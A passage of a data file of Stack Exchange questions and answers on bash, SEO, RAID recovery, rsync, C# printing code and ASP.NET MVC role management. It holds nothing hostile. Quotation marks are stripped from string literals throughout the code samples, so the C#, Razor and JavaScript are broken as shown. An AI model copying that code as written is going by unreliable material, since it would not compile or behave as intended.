evidence that read had an exit code of 1, which demonstrates that it didn't find a backslash, so there weren't two of them in a row either.TakeawaysBash wouldn't be bash if there weren't gotchas hiding behind just about every command, and read is no exception. Here are a couple:Unless you specify -r, read will interpret backslash escape sequences. Unless that's actually what you want (which it occasionally is, but only occasionally), you should remember to specify -r to avoid having characters disappear in the rare case that there are backslashes in the input.The fact that read returns an exit code of 1 does not mean that it failed. It may well have succeeded, except for finding the line terminator. So be careful with a loop like this: while read -r LINE; do something with LINE; done because it will fail to do something with the last line in the rare case that the last line doesn't have a newline at the end.read -r LINE preserves backslashes, but it doesn't preserve leading or trailing whitespace."  } 
{  "id": "_webmaster.8502"  , "question": "Sometimes videos appear in google's web search results (and not only in Google Videos). For a video to appear in the web search results, does it have to appear in Google Videos first? Does each and every video that appears in Google Videos has a chance to appear in google's web search results (given that the video is very relevant to the query, more relevant than all the other videos)?Please note: I'm not asking about video sitemaps or mRSS. I'm just asking when do videos appear in google's web search results compared to when do videos appear in Google Videos. "  , "title": "When do videos appear in google's web search results?"  , "tags": "seo;google;video"  , "accepted_answer": "Use microformats to tell them it's a video ans what it's about.UPDATE:The results you see at the top of Google search results are from google video. They do the same thing for images. These results are separate from google search results. Basically you have to be a top search result in google video to be shown there. I would assume that achieving high rankings in Google Video Search would be similar to regular Google Search. The context of the page (page title, headings, content) the video is on as well as link popularity etc, help them determine which videos are most relevant for a video search."  } 
{  "id": "_computerscience.169"  , "question": "Different screens can have different pixel geometry, so that the red, green and blue components are arranged in different patterns. Using sub-pixel rendering to give a higher apparent resolution is only possible if the pixel geometry is known (what will give an improvement in clarity on one type of monitor will make things worse on another).This is particularly relevant if an application needs to run on both a desktop/laptop and a mobile screen, as different pixel geometry is quite common in mobile screens.Is there a way to determine which geometry the screen uses at runtime, without having to ask the user? I'm interested in whether this is possible in general, but ideally I'd like to know whether this is possible when using JavaScript with WebGL."  , "title": "Can I determine the pixel geometry programmatically?"  , "tags": "webgl;javascript"  , "accepted_answer": "It appears that Microsoft has punted on this in Windows 7:This is the method available in the control panel for selecting what layout ClearType uses.Additionally, it seems that iOS and the Windows modern UI style de-emphasize subpixel antialiasing heavily, due to the prevalence of animations and screen rotations. As a result I expect the OS vendors to not spend a lot of effort trying to figure out the subpixel layout of every screen."  } 
{  "id": "_unix.96846"  , "question": "There are various directories in linux. Example /root,/var,/etc,/proc,/usr. In embedded system, during boot up, it will copy image from flash to RAM.Questions:   How can i know, which directory goes to RAM and which resides on FLASH? "  , "title": "RAM and Flash directories in embedded system based on linux"  , "tags": "linux;boot"  } 
{  "id": "_unix.217475"  , "question": "My son and I are playing around with LOGO programming on a Raspberry Pi (in Raspbian). We ran into a problem with the current package (v 5.5) not properly interpreting arrow key input: https://raspberrypi.stackexchange.com/questions/33677/arrow-keys-output-scancodes-in-ucblogoThe current version of UCBLogo, according to https://www.cs.berkeley.edu/~bh/logo.html, is 6.0 (released in late 2008).Is there a reason that http://archive.raspbian.org/raspbian/pool/main/u/ucblogo/ only has the 5.5 version? Can the package be updated to 6.0 from the source on https://www.cs.berkeley.edu/~bh/logo.html?"  , "title": "State of ucblogo package in debian / raspbian"  , "tags": "debian;apt;raspberry pi;raspbian"  , "accepted_answer": "Check the Debian package tracker: https://tracker.debian.org/pkg/ucblogo.The maintainer has stopped his work on this package (orphaned in July 2015).  There won't be no update unless someone takes over the maintenance.  For now you should probably build it for yourself."  } 
{  "id": "_softwareengineering.318766"  , "question": "I would like to ask about a problem I have designing a security flow.The contextI have a webapp designed in two modules web and serverWeb: it's a single page client, built with Angular 1.5.5 (among other modules). It's a wizard with 6 possible states (screens). Its data provider is going to be the server side module.Server: It's a Rest API. Which I want it to be stateless. It's built with Spring MVC and Spring Security.So far so good.Client side app (client from now on) can not be requested without previous authorization. Only trusted sources are allowed. These sources will set  a hash into headers or string query.The API in charge of the security is Spring. So far, with a simple PreauthFilter I have been able to take the hash from the request, validate it and in case of OK, set it as Authenticated (PreAuthenticationAuthenticatedToken). However my spring security context is stateless, and Spring security context will not persist it into any session/holder. Due to client is single page, I don't need it after the validation.Once client is working (PreAuth finished successfully), now is time to get rid of the security of the API Rest.), which I want to it to be also stateless and I would like to implement a JWT.Here is what I'm struggling with. I would like to send 3 values to client after the Preauth process, in order to inform to client the values required to start all the JWT protocol.Usually it starts with user/password from a login page. But I have to start from a PreAuth...The only way I have found to inform these 3 values has been through a SucessfulAuthenticationHandler from which I have set 3 cookies. Question is:Is there any other way to inform these 3 values, after PreAuth, instead of cookies?(I have tried to add headers to the response, but I don't know If I will have access to the response headers from Angular. Overall because it's not a ajax request).These cookies have a maxAge of 0, so after the request are no longer available (I don't want to have to deal with expired cookies). Anyways I don't feel totally comfortable with them.Should I try any other approach? What would you suggest?"  , "title": "From PreAuthentication to JWTAuthorization"  , "tags": "security;authentication;spring;web api;authorization"  } 
{  "id": "_webapps.13172"  , "question": "A website I need to access is currently down (port 80 connection hangs). Is there a free online no-registration-required service that monitors websites that are down and then emails me when the site's back up?I realize I could write this myself or use Nagios/etc, but it'd benice to have a quick-and-dirty website for this.I also don't want to set up constant or repeating monitoring. I justwant to know when the site is up, and never hear from the app again(unless I revisit it and ask it to monitor another site)."  , "title": "Online free no-registration app that monitors websites?"  , "tags": "monitoring"  , "accepted_answer": "There are a lot of uptime checkers. I use uptime.openacs.org because I like the clean interface. :)It sends a request every 15 minutes. You get an email when your site is down and another one when the site is back again. On some sites I use the service as a poor mans cron job."  } 
{  "id": "_softwareengineering.250422"  , "question": "I have a Route that activates a Controller which returns to me a page through a View. Let's call it master page.route -> controller -> view [master page]The master page is divided into header, sidebar, body and footer. And as the sidebar can be loaded to other pages, and not only the master page, it has its own View file.However, the sidebar should receive the data from user, which would be obtained through a Model. And in theory, the Model could only be called by a Controller, who call the View, however, this View is the master page, not the sidebar.[...] -> view [master page] -> view [sidebar]So I thought the possibilities were as follows, and the idea is to know whether it is right or wrong, or perhaps it is another way that I could not imagine.The Controller will load the data from the Model and apply the sidebar which, in turn, be applied to the master page. The problem here is, in a deeper case, it would be extremely laborious and difficult to understand.The Controller run the Model, but send to the master page, which would be responsible for loading the View sidebar and pass the information of the Model to it. In this case, the work would be passing on information between the layers, so far as was necessary to take the information.The Controller will only load the View master page, which will load the sidebar, which will be responsible for executing the Model (inside View). The problem here is that a View theoretically should not run a Model, just print your information already processed in the Controller.What would be the most appropriate way to make this process run correctly?"  , "title": "MVC: view/sidebar.php can load model?"  , "tags": "mvc"  } 
{  "id": "_softwareengineering.342558"  , "question": "I am writing a collection that accepts a time parameter, the purpose is that after that specified amount of time have passed the element won't be present in the collection.I want the user of this collection to be able to act when an item is removed from the collection under this circumstance. I have two different ways of achieving this, but I am unsure which I should take. Both approaches feels different, but the end result is pretty much the same.I am asking this question since I may not notice a small (or large) difference between the two and I was hoping to get guidance.Approach A: Have an event such as OnRemovalDueToTimeout which expects some function that receive an element (e.g void foo(T removedElement)). upon removal I would raise the eventApproach B: Receive a delegate with the same signature as above and call that delegate when an element times out."  , "title": "What is 'better' - An event that tells you that something happened or accepting a delegate to be called when the event triggers internally?"  , "tags": "c#;design;delegates;event"  } 
{  "id": "_webmaster.7876"  , "question": "I want to start and host my own blog. I have ideas for creating the website theme myself.However, I would prefer to not create the actual engine behind the blog -- comments, creating posts, caching everything, creating and managing the post database, spam protection or CAPTCHA of some sort... basic blog features.Honestly, I'm just hoping for something barebones that I can just do something like, <?php include('comment_list.php'); ?> where I want comments to show up on a post. Similar functions to that. (This is a little oversimplified, but hopefully it's understood what I'm getting at)This may be a little far-fetched. I'm not looking for the ability to have plugins, themes or user sessions and things of that nature. Just post creation, comment creation and caching are the big things I'm hoping for.I don't know if I can explain this any better. I'm just looking for the bare minimum."  , "title": "Simple blogging platform"  , "tags": "php;blog"  } 
{  "id": "_unix.311316"  , "question": "Is it possible to take a backup of /proc ?Almost all the backup utility suggests to avoid the /proc, /sys, /tmp directories. Former two are dynamic directories but I guess, having backup of these two directories will help to track down the issue without looking at problematic machine.Problematic machine can take the backup of these two directories and send to someone who can dig for problems from system point of view."  , "title": "Backup: /proc /sys"  , "tags": "backup;proc"  } 
{  "id": "_unix.187085"  , "question": "I have a RAID5 array consisting of 3 identical 2TB drives. Suddenly GRUB wouldn't boot anymore and gave the error out of disk.Eventually booted a livecd and ran some mdadm commands:mdadm --examine /dev/sda1 gives no md superblock detected on /dev/sda1.But when examining /dev/sdb1 and /dev/sdc1/ gives the output in the attached photo's.Any help in solving or diagnosing this problem would be greatly appreciated. Thanks!"  , "title": "How to restore RAID5 Array"  , "tags": "linux;grub2;data recovery;mdadm;raid5"  } 
{  "id": "_datascience.5013"  , "question": "Our main use case is object detection in 3d lidar point clouds i.e. data is not in RGB-D format. We are planning to use CNN for this purpose using theano. Hardware limitations are CPU: 32 GB RAM Intel 47XX 4th Gen core i7 and GPU: Nvidia quadro k1100M 2GB. Kindly help me with recommendation for architecture. I am thinking in the lines of 27000 input neurons on basis of 30x30x30 voxel grid but can't tell in advance if this is a good option.Additional Note: Dataset has 4500 points on average per view per point cloud"  , "title": "Machine learning for Point Clouds Lidar data"  , "tags": "machine learning;dataset"  , "accepted_answer": "First, CNNs are great for image recognition, where you usually take sub sampled windows of about 80 by 80 pixels, 27,000 input neurons is too large and it will take you forever to train a CNN on that.Furthermore, why did you choose CNN? Why don't you try some more down to earth algorithms fisrst? Like SVMs, or Logistic regressions.4500 Data points and 27000 features seems unrealistic to me, and very prone to over fitting.Check this first.http://scikit-learn.org/stable/tutorial/machine_learning_map/"  } 
{  "id": "_webmaster.95557"  , "question": "For quite a few years the University library where I work has used Google Analytics to track usage of our web pages.  Recently I noticed it wasn't working.  The code had some how disappeared from the page - possibly in a WordPress upgrade.  It is working now.Here is the oddity.  Google Analytics never stopped reporting usage statistics.  The University has its own tracking code so my assumption is they came from there.  Is Google's system clever enough to know how to associate numbers for our account with the University one?  Can the numbers I have be trusted?  Update:After doing some further investigation, I can confirm our tracking code has not been properly implemented since October 2013.  It was then when the University switched over WordPress which seems to have treated the code as Character Data.  Then in mid-August 2015 the code vanished entirely. I now have it in an external file which seems to work fine.  However while there has been a noticeable drop in web traffic from July 1, 2013 to the present, it does not entirely coincide with either the WordPress migration or the GA code's disappearance last summer.  I'm not entirely sure this answers the question, however. Google Analytics was giving a tracking code mismatch error until I re-inserted the code. However it still reported results.  Exactly how accurate they were remains to be seen. "  , "title": "Is it possible for Google Analytics to keep tracking even when the tracking code was removed if there is a parent tracking code present?"  , "tags": "google analytics"  , "accepted_answer": "To answer the first part of your question, no Google Analytics does not add additional tracking codes to your site if it has a parent tracking code. EG: If you have a university wide tracking code as well as your own tracking code and then your tracking code is removed and the university code stays it will report only on the university tracking code and not your removed one. The only reason why I can think that you would still see traffic from it with the tracking code removed is if there where users who where accessing a cached version of your site on a business network or through an ISP who cached the website as the cached copy would still have your own tracking code within the HTML. If this occurred you would see less traffic that what actually hit your site due to the fact that not all users would have accessed a cached copy of it."  } 
{  "id": "_unix.164458"  , "question": "I have a file1 which contains comma separated values (timein/timeout in military time format eg 0800, 0900, 1300). For each line of File 1 contains timein/timeout for each day. Sample File 1:Name, Position Level 30800, 18000900, 1200, 1230, 20000901, 2100File 2 contains (hourly rate):Position Level 1, 100Position Level 2, 200Position Level 3, 300Position Level 4, 400Position Level 5, 500I need to create a File 3 with lines with the 1st time in and last timeout and number of hours rendered for each day displayed in each line of File3. And last line will display the monthly salary which will calculate the number of hours rendered for the month (sum of hours from each day) * the hourly rate.  File 3:Name, Position Level 30800, 1800, 100900, 2000, 10.50901, 2100, 10.9839444.9"  , "title": "Process Files to create a new file"  , "tags": "shell script;text processing"  } 
{  "id": "_unix.8550"  , "question": "rm -rf will fail if something tries to delete the same file tree (I think because rm enumerates the files first, then deletes).A simple test:# Terminal 1for i in `seq 1 1000`; do mkdir -p /tmp/dirtest/$i; done# Now at the same time in terminal 1 and 2rm -rf /tmp/dirtestThere will be some output into stderr, e.g.:...rm: cannot remove directory `/tmp/dirtest/294': No such file or directoryrm: cannot remove directory `/tmp/dirtest/297': No such file or directoryrm: cannot remove directory `/tmp/dirtest/304': No such file or directoryI can ignore all the stderr output by redirecting it to /dev/null, but removing of /tmp/dirtest actually fails! After both commands are finished, /tmp/dirtest is still there.How can I make rm delete the directory tree properly and really ignore all the errors?"  , "title": "rm -rf failing if deleting in parallel"  , "tags": "files;rm;concurrency"  } 
{  "id": "_unix.250415"  , "question": "Is it possible to restrict the number of possible simultaneous connections to a certain directory on my server?I have a public directory which I want to share many download-able files, yet its popularity is straining my server to the max - causing it to crash, so I want to restrict the connections to that certain directory.When I use Deny from all directive - then my server doesn't get swamped."  , "title": "Apache - restrict simultaneous connections per directory?"  , "tags": "apache httpd"  } 
{  "id": "_webmaster.63025"  , "question": "Previously there was a page on our partner's site that had a link to our site. Now, this page and the whole partner's website is gone (404).But this page still exists in our website backlink profile. Do we need to disavow or take any other action regarding this partner's website (page)?"  , "title": "What to do when we had a backlink (from a gone site) to one of our a 404 page?"  , "tags": "backlinks;404"  } 
{  "id": "_codereview.162466"  , "question": "I have a problem with my printing program, in which it uses up too much resources while printing (to paper or to .pdf). I try to manually dispose as much as I can, but for example, when I tried printing 300 pages, the program itself used up around 500mb of memory, and I would like to avoid that. When the program finishes printing, it goes back down to 37mb of usage. I use Visual Studio to check performance. Below you can find the code, and any help to manage resources and lower ram usage while printing would be appreciated. I apologize in advance for mixing German and English. And for clarity, this draws n number of each element (one is a string, second an arrow, up or down, third a barcode).private void DocumentDrucker_PrintPage(object sender, System.Drawing.Printing.PrintPageEventArgs e){    Graphics graphic = e.Graphics;    SolidBrush brush = new SolidBrush(Color.Black);    Font font = new Font(Courier New, 27, FontStyle.Bold);    float pageWidth = e.PageSettings.PrintableArea.Width;    float pageHeight = e.PageSettings.PrintableArea.Height;    float fontHeight = font.GetHeight();    int startX = 40;    int startY = 40;    int offsetY = 40;    for (; elemente < ZumDrucken.Items.Count; elemente++)    {        graphic.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.NearestNeighbor;        graphic.DrawString(ZumDrucken.Items[elemente].Text, font, brush, startX, startY + offsetY);        if (ZumDrucken.Items[elemente].Checked == true)        {            if (ZumDrucken.Items[elemente].Text.Substring(ZumDrucken.Items[elemente].Text.Length - 1) != 1)                graphic.DrawImage(Properties.Resources.pfeilU, new Point(Convert.ToInt32(pageWidth * 0.35), offsetY + 37));            else                graphic.DrawImage(Properties.Resources.pfeilO, new Point(Convert.ToInt32(pageWidth * 0.35), offsetY + 37));        }        else        {            if (ZumDrucken.Items[elemente].Text.Substring(ZumDrucken.Items[elemente].Text.Length - 1) != 1)                graphic.DrawImage(Properties.Resources.pfeilO, new Point(Convert.ToInt32(pageWidth * 0.35), offsetY + 37));            else                graphic.DrawImage(Properties.Resources.pfeilU, new Point(Convert.ToInt32(pageWidth * 0.35), offsetY + 37));        }        b.Encode(TYPE.CODE128A,ZumDrucken.Items[elemente].Text, Color.Black, Color.Transparent,600,100);        graphic.DrawImage(b.EncodedImage, new Point(Convert.ToInt32(pageWidth*0.6),offsetY));        offsetY = offsetY + 175;                       if (offsetY >= pageWidth-100)        {            e.HasMorePages = true;            offsetY = 0;            elemente++;            graphic.Dispose();            b.Dispose();            brush.Dispose();            font.Dispose();            return;        }        else        {            e.HasMorePages = false;        }    }    graphic.Dispose();    b.Dispose();    brush.Dispose();    font.Dispose();}"  , "title": "Printing 300 pages"  , "tags": "c#;performance;memory optimization"  , "accepted_answer": "don't mix german and english words for names. Best is to stick to english because most/all developers knows the language.don't repeat yourself. You have some duplicated code which should be removed. e.g:You create the same Point for printing at 4 different location (new Point(Convert.ToInt32(pageWidth * 0.35), offsetY + 37))  don't omit braces {} although they might be optional. Omitting them can lead to hidden and therfore hard to track bugs.  Let's take a look at the if..else construct and how we could refactor it  if (ZumDrucken.Items[elemente].Checked == true){    if ZumDrucken.Items[elemente].Text.Substring(ZumDrucken.Items[elemente].Text.Length - 1) != 1)        graphic.DrawImage(Properties.Resources.pfeilU, new Point(Convert.ToInt32(pageWidth * 0.35), offsetY + 37));    else        graphic.DrawImage(Properties.Resources.pfeilO, new Point(Convert.ToInt32(pageWidth * 0.35), offsetY + 37));}else{    if (ZumDrucken.Items[elemente].Text.Substring(ZumDrucken.Items[elemente].Text.Length - 1) != 1)        graphic.DrawImage(Properties.Resources.pfeilO, new Point(Convert.ToInt32(pageWidth * 0.35), offsetY + 37));    else        graphic.DrawImage(Properties.Resources.pfeilU, new Point(Convert.ToInt32(pageWidth * 0.35), offsetY + 37));}  First we can remove the == true because comparing a non nullable bool to true is senseless. Either it is true or false.  Now let us create a var imagePoint = new Point(Convert.ToInt32(pageWidth * 0.35), offsetY);  just before the loop and increase the Y before the if..else we are talking about so the whole thing becomes  imagePoint.Y += 37;if (ZumDrucken.Items[elemente].Checked){    if (ZumDrucken.Items[elemente].Text.Substring(ZumDrucken.Items[elemente].Text.Length - 1) != 1)    {        graphic.DrawImage(Properties.Resources.pfeilU, imagePoint);    }    else    {        graphic.DrawImage(Properties.Resources.pfeilO, imagePoint);    }}else{    if (ZumDrucken.Items[elemente].Text.Substring(ZumDrucken.Items[elemente].Text.Length - 1) != 1)    {        graphic.DrawImage(Properties.Resources.pfeilO, imagePoint);    }    else    {        graphic.DrawImage(Properties.Resources.pfeilU, imagePoint);    }}If we extract the checking of the last character from the text outside of the if..else like so  bool lastCharIsAOne =  ZumDrucken.Items[elemente].Text[ZumDrucken.Items[elemente].Text.Length - 1] == '1';  we don't create a new string because we just access the char array directly.  But for readability I would introduce a var currentItem = ZumDrucken.Items[elemente]; then the if..else will become  var currentItem = ZumDrucken.Items[elemente]; ... some more codebool lastCharIsAOne =  currentItem.Text[currentItem.Text.Length - 1] == '1';  imagePoint.Y += 37;if (currentItem.Checked){    if (lastCharIsAOne)    {        graphic.DrawImage(Properties.Resources.pfeilU, imagePoint);    }    else    {        graphic.DrawImage(Properties.Resources.pfeilO, imagePoint);    }}else{    if (lastCharIsAOne)    {        graphic.DrawImage(Properties.Resources.pfeilO, imagePoint);    }    else    {        graphic.DrawImage(Properties.Resources.pfeilU, imagePoint);    }}  Now we need to do something about the image which should be printed. We see that pfeilU should be printed if:(currentItem.Checked && lastCharIsAOne) || (!currentItem.Checked && !lastCharIsAOne) which is the same as (currentItem.Checked == lastCharIsAOne)like @DDrmmr stated in the comments, hence we only need one if and one else which we could reduce to a simple if like so  var currentImage = Properties.Resources.pfeilO;if (currentItem.Checked == lastCharIsAOne)  {    currentImage = Properties.Resources.pfeilU;  }  graphic.DrawImage(currentImage, imagePoint);If we now extract the setting of the graphic.InterpolationMode outside of the loop we will get this graphic.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.NearestNeighbor;var imagePoint = new Point(Convert.ToInt32(pageWidth * 0.35), offsetY);  var barcodePoint = new Point(Convert.ToInt32(pageWidth * 0.6), 0);  for (; elemente < ZumDrucken.Items.Count; elemente++){    var currentItem = ZumDrucken.Items[elemente];     graphic.DrawString(currentItem.Text, font, brush, startX, startY + offsetY);    var currentImage = Properties.Resources.pfeilO;    bool lastCharIsAOne =  currentItem.Text[currentItem.Text.Length - 1] == '1';      if (currentItem.Checked == lastCharIsAOne)      {        currentImage = Properties.Resources.pfeilU;      }    imagePoint.Y += 37;      graphic.DrawImage(currentImage, imagePoint);    b.Encode(TYPE.CODE128A, currentItem.Text, Color.Black, Color.Transparent, 600, 100);    barcodePoint.Y = offsetY;    graphic.DrawImage(b.EncodedImage, barcodePoint);    offsetY = offsetY + 175;      ... the other `if..else`"  } 
{  "id": "_codereview.95800"  , "question": "In JavaScript, I wrote a class that can be optionally instantiated with the new keyword, but can also be called statically as well. What is the best way to demonstrate this behavior in comment syntax? I was thinking something like this:// localize constantvar PI = Math.PI;/** * Complex constructor * optionally instantiate with `new` * * @class Complex * @constructor * @static * @param r {Number} real part * @param i {Number} imaginary part * @param m {Number} optional, magnitude * @param t {Number} optional, argument * @return {Object} complex number */function Complex(r, i, m, t) {    if (!(this instanceof Complex)) {        return new Complex(r, i, m, t);    }    if (typeof m === 'number') {        this.m = Math.abs(m);    } else {        this.m = Math.sqrt(r * r + i * i);    }    if (typeof t === 'number') {        this.t = (m >= 0 ? t : t + PI);    } else {        this.t = Math.atan2(i, r);    }    // limit argument between (-pi,pi]    this.t = PI - (PI * 3 - (PI - (PI * 3 - this.t) % (PI * 2))) % (PI * 2);    this.r = r;    this.i = i;}"  , "title": "YUIDoc syntax for optionally static constructor"  , "tags": "javascript;object oriented;formatting;constructor;static"  } 
{  "id": "_webmaster.15765"  , "question": "I'm big Drupal fan, and some very high profile sites use Drupal which also suggests that its a good system. Can the same be said for Ubercart? I've used it for some small eCommerce sites purely because I know Drupal. It seems to lack some basic features and also relies on JavaScript. I don't know of any high profile eCommerce sites using it. My productivity would take a big hit if I had to learn a new eCommerce platform and also if I couldn't use my favorite CMS with it, but do I have a choice? If not I guess I can hope that Drupal 7's Commerce module will be an improvement. "  , "title": "Ubercart for 'serious' eCommerce?"  , "tags": "ecommerce;drupal"  , "accepted_answer": "High profile is quite a subjective thing. These sites are using it: http://www.ubercart.org/site32,000 sites are reported as using it http://drupal.org/project/usage/ubercart but I appreciate this is not the same thing as a few well known sites using it."  } 
{  "id": "_unix.125376"  , "question": "I have downloaded a Linux Live CD which I am required to do pentesting using VirtualBox . Live CD is configured for router with Pool Starting Address 192.168.2.2 . Now problem is that my router is't configurable to that setting nor I am allowed to change anything in Live CD. How can i create a virtual network that can be configured as per this requirement ?  "  , "title": "How to create Virtual Network for VM's"  , "tags": "linux;networking"  } 
{  "id": "_unix.11661"  , "question": "I'm dropped the 32-bit GRML ISO onto a 1GB thumb drive with the usual command:dd if=grml_2010.12.iso of=/dev/USB_STICK(of course, with the correct device).  But, when I try to boot from it, it produces this error:0AAD Loading ...bad magic error...bad magicAnd then proceeds to restart.  What would cause that?"  , "title": "Error While Booting GRML"  , "tags": "linux;live usb;grml"  , "accepted_answer": "I'm posing this answer because this is the first Google hit when you search for the error.In my case, what caused the error was wrong architecture - I tried to boot a 64bit system on a 32bit computer. "  } 
{  "id": "_unix.127755"  , "question": "I have a bash script that executes rsync transfers to a remote location, and every time I execute the script I get asked for a password. Is there a way to avoid this? This is the command I use: rsync -av /source usr@ip:/destination"  , "title": "No password prompt when using rsync remotely?"  , "tags": "linux;bash;rsync"  , "accepted_answer": "Use rsync over SSH and use an SSH key without a passphrase.man rsync:-e, --rsh=COMMAND         specify the remote shell to usersync -e ssh ..."  } 
{  "id": "_codereview.106712"  , "question": "I'm a beginner to web programming and just started a MVC project from scratch. Because this will become a large project eventually, I would like to make sure that I'm doing things kind of right from the beginning. The architecture is the following: ASP.NET 4.6, MVC 5, EF 6, Identity 2.0. I'm using EF Database First approach and Bootstrap 3.3.5. The solution is divided into 3 projects: Data (where I keep my .edmx and model classes), Resources (where I keep strings for localization purposes -and eventually images-), and Web (with my controllers, views, etc).I'm going to point out a couple of examples in my code where I'm not sure about my approach. I have a navigation bar with an Administration link and two submenu links, Users and Roles. UsersWhen a user clicks on Users, I'd like to show a table with four columns:UsernameRoles (string with the names of all roles assigned)Assign Role (button that will take you to another form)Remove Role (button that will take you to another form)This is what the UserIndex.cshtml view looks like:@model List<MySolution.Data.DAL.ApplicationUser>@{    ViewBag.Title = Resources.Users;}<h2>@Resources.Users</h2><hr /><table class=table table-striped table-hover >    <thead>        <tr>            <th>@Resources.User</th>            <th>@Resources.Roles</th>            <th></th>            <th></th>        </tr>    </thead>    <tbody>        @foreach (var user in Model)        {            <tr>                <td>                    @user.UserName                </td>                <td>                    @user.DisplayRoles()                </td>                <td>                @using (Html.BeginForm(UserAssignRole, Admin, new { ReturnUrl = ViewBag.ReturnUrl }, FormMethod.Get, new { @class = form-horizontal, role = form }))                {                    @Html.AntiForgeryToken()                    @Html.HiddenFor(m => m.Where(u => u.Id.Equals(user.Id)).FirstOrDefault().UserName)                    <input type=submit value=@Resources.AssignRole class=btn btn-default btn-sm />                }                </td>                <td>                    @using (Html.BeginForm(UserRemoveRole, Admin, new { ReturnUrl = ViewBag.ReturnUrl }, FormMethod.Get, new { @class = form-horizontal, role = form }))                {                        @Html.AntiForgeryToken()                        @Html.HiddenFor(m => m.Where(u => u.Id.Equals(user.Id)).FirstOrDefault().UserName)                        <input type=submit value=@Resources.RemoveRole class=btn btn-default btn-sm />                    }                </td>            </tr>        }    </tbody></table> I added a DisplayRoles() method to my ApplicationUser class that returns a string with the list of assigned roles separated by commas, so that I can plug it directly into the user table in my view. I'm not sure at all about this approach; it does work, but putting logic like that in my model just seems kind of weird. I just haven't figured a better way to do this.Then, on my controller, I have the following:        //        // GET: /Admin/UserIndex        [Authorize(Roles = Admin)]        public ActionResult UserIndex()        {            var users = context.Users.ToList();            return View(users);        }        //        // GET: /Admin/UserAssignRole        [HttpGet]        //[ValidateAntiForgeryToken]        public ActionResult UserAssignRole(UserAssignRoleViewModel vm)        {            ViewBag.Username = vm.Username;            ViewBag.Roles = context.Roles.OrderBy(r => r.Name).ToList().Select(rr => new SelectListItem { Value = rr.Name.ToString(), Text = rr.Name }).ToList();            return View(UserAssignRole);        }        //        // POST: /Admin/UserAssignRole        [HttpPost]        //[ValidateAntiForgeryToken]        [ActionName(UserAssignRole)]        public ActionResult UserAssignRolePost(UserAssignRoleViewModel vm)        {            ApplicationUser user = context.Users.Where(u => u.UserName.Equals(vm.Username, StringComparison.CurrentCultureIgnoreCase)).FirstOrDefault();            this.UserManager.AddToRole(user.Id, vm.Role);            return RedirectToAction(UserIndex);        }With my UserAssignRoleViewModel looking like this:/// <summary>/// Views\\Admin\\UserAssignRole.cshtml/// </summary>public class UserAssignRoleViewModel{    [Display(Name = Username, ResourceType = typeof(Resources))]    public string Username { get; set; }    [Display(Name = Role, ResourceType = typeof(Resources))]    public string Role { get; set; }}And the UserAssignRole view being this:@model UserAssignRoleViewModel@{    ViewBag.Title = Resources.AssignRole;}<h2>@Resources.AssignRole</h2><hr /><div class=row>    <div class=col-md-8>        <section id=assignRoleForm>            @using (Html.BeginForm(UserAssignRole, Admin, new { ReturnUrl = ViewBag.ReturnUrl }, FormMethod.Post, new { @class = form-horizontal, role = form }))            {                @Html.AntiForgeryToken()                @Html.ValidationSummary(true, , new { @class = text-danger })                <div class=form-group>                    @Html.LabelFor(m => m.Username, new { @class = col-md-2 control-label })                    <div class=col-md-10>                        @Html.TextBoxFor(m => m.Username, new { @class = form-control , @readonly = readonly })                        @Html.ValidationMessageFor(m => m.Username, , new { @class = text-danger })                    </div>                </div>                <div class=form-group>                    @Html.LabelFor(m => m.Role, new { @class = col-md-2 control-label })                    <div class=col-md-10>                        @Html.DropDownListFor(m => m.Role, (IEnumerable<SelectListItem>)ViewBag.Roles, Resources.DropdownSelect, new { @class = form-control })                    </div>                </div>                <div class=form-group>                    <div class=col-md-offset-2 col-md-10>                        <input type=submit value=@Resources.Assign class=btn btn-default />                    </div>                </div>            }        </section>    </div></div>I especially am not sure about the way that I use my controller actions, and how I'm calling them from my forms. And does it make sense to have a Get and Post method for the same action, or should I be doing something else?RolesThe Roles section is very similar, with a table with three columns:NameEdit (button that will take you to another form to rename the role)Delete button (button that will show a modal asking for verification)On top of the table, there's a separate button allowing the user to add a new role.Here's my RoleIndex.cshtml view.@model IEnumerable<Microsoft.AspNet.Identity.EntityFramework.IdentityRole>@{    ViewBag.Title = Resources.Roles;}<h2>@Resources.Roles</h2><hr />@using (Html.BeginForm(RoleCreate, Admin, new { ReturnUrl = ViewBag.ReturnUrl }, FormMethod.Get, new { @class = form-horizontal, role = form })){    <input type=submit value=@Resources.CreateRole class=btn btn-default btn-sm />}<hr /><table class=table table-striped table-hover >    <thead>        <tr>            <th>@Resources.Role</th>            <th></th>            <th></th>        </tr>    </thead>    <tbody>        @foreach (var role in Model)        {            <tr>                <td>                    @role.Name                </td>                <td>                    @using (Html.BeginForm(RoleEdit, Admin, new { ReturnUrl = ViewBag.ReturnUrl }, FormMethod.Get, new { @class = form-horizontal, role = form }))                    {                        @Html.AntiForgeryToken()                        @Html.HiddenFor(m => m.Where(r => r.Id.Equals(role.Id)).FirstOrDefault().Name)                        <input type=submit value=@Resources.Edit class=btn btn-default btn-sm />                    }                </td>                <td>                    <input type=submit value=@Resources.Delete class=btn btn-default btn-sm data-toggle=modal data-target=#confirm-delete/>                    <div class=modal fade id=confirm-delete tabindex=-1 role=dialog aria-labelledby=myModalLabel aria-hidden=true>                        <div class=modal-dialog>                            <div class=modal-content>                                <div class=modal-header>                                    @Resources.DeleteRole                                </div>                                <div class=modal-body>                                    @Resources.AreYouSureYouWantToDelete                                </div>                                <div class=modal-footer>                                    @using (Html.BeginForm(RoleDelete, Admin, new { ReturnUrl = ViewBag.ReturnUrl }, FormMethod.Post, new { @class = form-horizontal, role = form }))                                    {                                        @Html.AntiForgeryToken()                                        @Html.HiddenFor(m => m.Where(r => r.Id.Equals(role.Id)).FirstOrDefault().Name)                                        <button type=button class=btn btn-default data-dismiss=modal>@Resources.Cancel</button>                                        <input type=submit value=@Resources.Delete class=btn btn-danger btn-ok />                                    }                                </div>                            </div>                        </div>                    </div>                </td>            </tr>        }    </tbody></table>Here's my RoleCreateViewModel/// <summary>/// Views\\Admin\\RoleCreate.cshtml/// </summary>public class RoleCreateViewModel{    [Required]    [Display(Name = Name, ResourceType = typeof(Resources))]    public string Name { get; set; }}and RoleCreate actions        //        // GET: /Admin/RoleCreate        [HttpGet]        [Authorize(Roles = Admin)]        public ActionResult RoleCreate()        {            return View();        }        //        // POST: /Admin/RoleCreate        [HttpPost]        [Authorize(Roles = Admin)]        public ActionResult RoleCreate(RoleCreateViewModel vm)        {            context.Roles.Add(new IdentityRole()            {                Name = vm.Name            });            